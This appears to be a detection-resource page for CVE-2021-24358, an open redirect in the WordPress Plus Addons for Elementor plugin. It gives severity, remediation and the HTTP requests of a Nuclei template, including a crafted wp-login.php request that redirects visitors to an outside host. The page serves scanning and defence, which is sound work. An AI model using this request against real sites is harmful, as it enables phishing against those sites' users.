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CVE-2021-24358: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect

TitlePlus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
AuthordhiyaneshDk
SeverityMedium
ImpactThis vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities.
RemediationUpgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.02906
CVE IDCVE-2021-24358
CWE IDCWE-601
Tags cve2021 cve wp wpscan wordpress redirect wp-plugin elementor posimyth vuln

🔍 Vulnerability Description

WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.

🌐 HTTP Request

GET /?author=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-login.php?action=theplusrp&key&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login=mCYWAi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24358.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24358.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A